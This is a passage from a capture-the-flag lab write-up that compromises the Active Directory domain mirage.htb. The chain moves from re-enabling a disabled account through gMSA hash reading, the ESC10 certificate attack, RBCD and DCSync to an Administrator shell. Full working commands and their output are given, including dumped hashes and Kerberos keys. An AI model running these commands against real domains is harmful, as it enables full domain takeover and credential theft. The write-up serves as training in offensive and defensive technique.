As is explained here, an account can be “revoked” because it might be disabled (with the flag we previously removed), expired, locked out or limited by logon hours. This last is the case since we have logonHours set to 0 (we are not able to log in).

We can check if mark.bbond can write this property over javier.mmarshall user with bloodyAD:

❯ KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k get writable --otype USER --right WRITE --detail

distinguishedName: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
logonHours: WRITE
userAccountControl: WRITE
<SNIP>

As we can see, we can edit userAccountControl and logonHours attributes; both attributes that can be edited so the account will no longer be disabled.

Note
There is a task restoring attributes for javier.mmarshall every ~15 minutes to their original status.

To fix this we can copy the attribute logonHours from our mark.bbond account (an account we know is enabled) and set those values to javier.mmarshall’s logonHours attribute. For this we also create a credential object that is used to authenticate as mark.bbond user:

*Evil-WinRM* PS C:\Users\nathan.aadam> $Cred = New-Object System.Management.Automation.PSCredential('MIRAGE\mark.bbond', $(ConvertTo-SecureString '1day@atime' -AsPlainText -Force))

*Evil-WinRM* PS C:\Users\nathan.aadam> $logonHours = (Get-ADUser mark.bbond -Properties LogonHours -Credential $Cred).LogonHours

*Evil-WinRM* PS C:\Users\nathan.aadam> Set-ADUser -Identity javier.mmarshall -Credential $Cred -Replace @{LogonHours = $logonHours}

and, in a oneliner, request a TGT as javier.marshall user using the previous executed commands:

❯ KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k set password javier.mmarshall 'GunZF0x123$!' && KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k remove uac javier.mmarshall -f ACCOUNTDISABLE && faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/javier.mmarshall:'GunZF0x123$!' -dc-ip 10.129.221.181

[+] Password changed successfully!
[-] ['ACCOUNTDISABLE'] property flags removed from javier.mmarshall's

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in javier.mmarshall.ccache

It worked. We get a ticket for javier.marshall user this time.

We can then use this ticket along with NetExec to abuse ReadGMSAPassword permission and read NTLM hash from Mirage-Service$ account:

❯ KRB5CCNAME=javier.mmarshall.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" nxc ldap dc01.mirage.htb -k --use-kcache --gmsa

LDAP        dc01.mirage.htb 389    DC01             [*] None (name:DC01) (domain:MIRAGE.HTB) (signing:None) (channel binding:Never) (NTLM:False)
LDAP        dc01.mirage.htb 389    DC01             [+] MIRAGE.HTB\javier.mmarshall from ccache
LDAP        dc01.mirage.htb 389    DC01             [*] Getting GMSA Passwords
LDAP        dc01.mirage.htb 389    DC01             Account: Mirage-Service$      NTLM: 305806d84f7c1be93a07aaf40f0c7866     PrincipalsAllowedToReadPassword: javier.mmarshall

Request a ticket as Mirage-Service$ account using its NTLM hash:

❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/'Mirage-Service$' -hashes ':305806d84f7c1be93a07aaf40f0c7866' -dc-ip 10.129.221.181

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in Mirage-Service$.ccache

We also check with NetExec if Active Directory Certificate Services (AD CS) is enabled:

❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" nxc ldap dc01.mirage.htb -k --use-kcache -M adcs

LDAP        dc01.mirage.htb 389    DC01             [*] None (name:DC01) (domain:MIRAGE.HTB) (signing:None) (channel binding:Never) (NTLM:False)
LDAP        dc01.mirage.htb 389    DC01             [+] MIRAGE.HTB\Mirage-Service$ from ccache
ADCS        dc01.mirage.htb 389    DC01             [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS        dc01.mirage.htb 389    DC01             Found PKI Enrollment Server: dc01.mirage.htb
ADCS        dc01.mirage.htb 389    DC01             Found CN: mirage-DC01-CA

It is.

We can use Certipy to see if we have vulnerable certificates:

❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" certipy find -target-ip dc01.mirage.htb -target dc01.mirage.htb -dc-host dc01.mirage.htb -k -no-pass -dc-ip 10.129.221.181 -vulnerable -stdout -enabled
Certipy v5.0.2 - by Oliver Lyak (ly4k)

<SNIP>
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : mirage-DC01-CA
    DNS Name                            : dc01.mirage.htb
    Certificate Subject                 : CN=mirage-DC01-CA, DC=mirage, DC=htb
    Certificate Serial Number           : 1512EEC0308E13A146A0B5AD6AA741C9
    Certificate Validity Start          : 2025-07-04 19:58:25+00:00
    Certificate Validity End            : 2125-07-04 20:08:25+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : MIRAGE.HTB\Administrators
      Access Rights
        ManageCa                        : MIRAGE.HTB\Administrators
                                          MIRAGE.HTB\Domain Admins
                                          MIRAGE.HTB\Enterprise Admins
        ManageCertificates              : MIRAGE.HTB\Administrators
                                          MIRAGE.HTB\Domain Admins
                                          MIRAGE.HTB\Enterprise Admins
        Enroll                          : MIRAGE.HTB\Authenticated Users
Certificate Templates                   : [!] Could not find any certificate templates

We can’t see a vulnerable certificate. However, as we will see later, this machine is vulnerable to ESC10. A really good explanation and summary for this attack is explained at Certipy’s wiki.

A little hint about this is that Mirage-Service$ account can write over userPrincipalName (UPN) for mark.bbond account -among other properties-:

❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" bloodyAD --host dc01.mirage.htb -d mirage.htb -k get writable --otype USER --right WRITE --detail

distinguishedName: CN=mark.bbond,OU=Users,OU=Support,OU=IT_Staff,DC=mirage,DC=htb
manager: WRITE
mail: WRITE
msDS-HABSeniorityIndex: WRITE
msDS-PhoneticDisplayName: WRITE
msDS-PhoneticCompanyName: WRITE
msDS-PhoneticDepartment: WRITE
msDS-PhoneticLastName: WRITE
msDS-PhoneticFirstName: WRITE
msDS-SourceObjectDN: WRITE
msDS-AllowedToDelegateTo: WRITE
altSecurityIdentities: WRITE
servicePrincipalName: WRITE
userPrincipalName: WRITE
legacyExchangeDN: WRITE
otherMailbox: WRITE
showInAddressBook: WRITE
systemFlags: WRITE
division: WRITE
objectGUID: WRITE
name: WRITE
displayNamePrintable: WRITE
proxyAddresses: WRITE
company: WRITE
department: WRITE
co: WRITE
dn: WRITE
initials: WRITE
givenName: WRITE
description: WRITE
title: WRITE
ou: WRITE
o: WRITE
sn: WRITE
objectCategory: WRITE
cn: WRITE
objectClass: WRITE

We can see userPrincipalName: WRITE, which is enough for ESC10 since we need to modify UPN.

We then need to make that mark.bbond’s UPN matches the DC machine account, i.e., dc01$:

❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" certipy account update -k -no-pass -user 'mark.bbond' -upn 'dc01$'@mirage.htb -target dc01.mirage.htb -dc-host dc01.mirage.htb

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: dc01.mirage.htb.
[!] Use -debug to print a stacktrace
[*] Updating user 'mark.bbond':
    userPrincipalName                   : dc01$@mirage.htb
[*] Successfully updated 'mark.bbond'

Request a certificate (.pfx) for this user:

❯ KRB5CCNAME=mark.bbond.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" certipy req -u 'mark.bbond'@mirage.htb -k -no-pass -dc-host dc01.mirage.htb -target dc01.mirage.htb -ca mirage-DC01-CA -template User

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: dc01.mirage.htb.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 12
[*] Successfully requested certificate
[*] Got certificate with UPN 'dc01$@mirage.htb'
[*] Certificate object SID is 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Saving certificate and private key to 'dc01.pfx'
[*] Wrote certificate and private key to 'dc01.pfx'

Restore mark.bbond’s UPN to its original value:

❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" certipy account update -k -no-pass -user 'mark.bbond' -upn mark.bbond@lab.local -dc-host dc01.mirage.htb -target dc01.mirage.htb

Certipy v5.0.2 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: dc01.mirage.htb.
[!] Use -debug to print a stacktrace
[*] Updating user 'mark.bbond':
    userPrincipalName                   : mark.bbond@lab.local
[*] Successfully updated 'mark.bbond'

Use the generated dc01.pfx file to enter in an ldap shell:

❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" certipy auth -pfx dc01.pfx -domain mirage.htb -dc-ip 10.129.221.181 -ldap-shell
 
Certipy v5.0.2 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'dc01$@mirage.htb'
[*]     Security Extension SID: 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Connecting to 'ldaps://10.129.221.181:636'
[*] Authenticated to '10.129.221.181' as: 'u:MIRAGE\\DC01$'
Type help for list of commands

#

and use this shell to add a computer in the domain that we could later use to perform a Resource-based Constrained Delegation (RBCD) attack:

# add_computer gunzf0x gunzfox123$!

Attempting to add a new computer with the name: gunzf0x$
Inferred Domain DN: DC=mirage,DC=htb
Inferred Domain Name: mirage.htb
New Computer DN: CN=gunzf0x,CN=Computers,DC=mirage,DC=htb
LDAPUnwillingToPerformResult - 53 - unwillingToPerform - None - 0000216D: SvcErr: DSID-031A126C, problem 5003 (WILL_NOT_PERFORM), data 0
 - addResponse - None

But we are not allowed to perform this action since we cannot add machines to the domain; probably because our machineQuota is set to 0.

Therefore, just give Resource-based Constrained Delegation (RBCD) privilege to a computer/service account we already own and we have writing permissions on; that is Mirage-Service$ user:

# set_rbcd dc01$ Mirage-Service$

Found Target DN: CN=DC01,OU=Domain Controllers,DC=mirage,DC=htb
Target SID: S-1-5-21-2127163471-3824721834-2568365109-1000

Found Grantee DN: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
Grantee SID: S-1-5-21-2127163471-3824721834-2568365109-1112
Currently allowed sids:
    S-1-5-21-2127163471-3824721834-2568365109-1109
Delegation rights modified successfully!
Mirage-Service$ can now impersonate users on dc01$ via S4U2Proxy

Then, we can use impacket-getST to perform the RBCD attack. If we attempt to impersonate Administrator the attack fails:

❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getST -spn cifs/DC01.MIRAGE.HTB -impersonate 'Administrator' -dc-ip 10.129.221.181 -k -no-pass mirage.htb/'Mirage-Service$'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[-] Kerberos SessionError: KDC_ERR_BADOPTION(KDC cannot accommodate requested option)
[-] Probably SPN is not allowed to delegate by user Mirage-Service$ or initial TGT not forwardable

Nevertheless, it works if we attempt to impersonate dc01$ machine account (the DC machine account):

❯ KRB5CCNAME=Mirage-Service\$.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getST -spn cifs/DC01.MIRAGE.HTB -impersonate 'dc01$' -dc-ip 10.129.221.181 -k -no-pass mirage.htb/'Mirage-Service$'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Impersonating dc01$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc01$@cifs_DC01.MIRAGE.HTB@MIRAGE.HTB.ccache

Since this is the dc01$ account ticket, we can use it to perform a DCSync attack and get Administrator hashes with impacket-secretsdump:

❯ KRB5CCNAME=dc01\$@cifs_DC01.MIRAGE.HTB@MIRAGE.HTB.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-secretsdump -k -no-pass dc01.mirage.htb -just-dc-user Administrator

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
mirage.htb\Administrator:500:aad3b435b51404eeaad3b435b51404ee:7be6d4f3c2b9c0e3560f5a29eeb1afb3:::
[*] Kerberos keys grabbed
mirage.htb\Administrator:aes256-cts-hmac-sha1-96:09454bbc6da252ac958d0eaa211293070bce0a567c0e08da5406ad0bce4bdca7
mirage.htb\Administrator:aes128-cts-hmac-sha1-96:47aa953930634377bad3a00da2e36c07
mirage.htb\Administrator:des-cbc-md5:e02a73baa10b8619
[*] Cleaning up...

GG.

We can then generate a TGT ticket for Administrator user:

❯ faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-getTGT mirage.htb/administrator -hashes ':7be6d4f3c2b9c0e3560f5a29eeb1afb3' -dc-ip 10.129.221.181

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Saving ticket in administrator.ccache

and access to the victim machine with a tool such as wmiexec.py from Impacket:

❯ KRB5CCNAME=administrator.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-wmiexec -k -no-pass dc01.mirage.htb

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami

mirage\administrator

We can grab the root flag at Administrator’s Desktop.

~Happy Hacking.


Beyond Root Link to heading

The reason why this machine is vulnerable to ESC10 is due to registry key CertificateMappingMethods with value 0x4, indicating no strong mapping. We can check this registry from a remote machine using reg.py from Impacket and the ticket of a privileged account:

❯ KRB5CCNAME=administrator.ccache faketime "$(ntpdate -q dc01.mirage.htb | cut -d ' ' -f 1,2)" impacket-reg -k -no-pass dc01.mirage.htb query -keyName 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL
        EventLogging    REG_DWORD        0x1
        CertificateMappingMethods       REG_DWORD        0x4
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\CipherSuites
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Hashes
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\KeyExchangeAlgorithms
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols
[*] Stopping service RemoteRegistry
[-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on.

Since this value is set to 0x4, it allow us to perform ESC10 attack. Of course this is not possible to know if we are not already a privileged user, but in a Whitebox Pentesting it is recommended to check this value to mitigate this attack.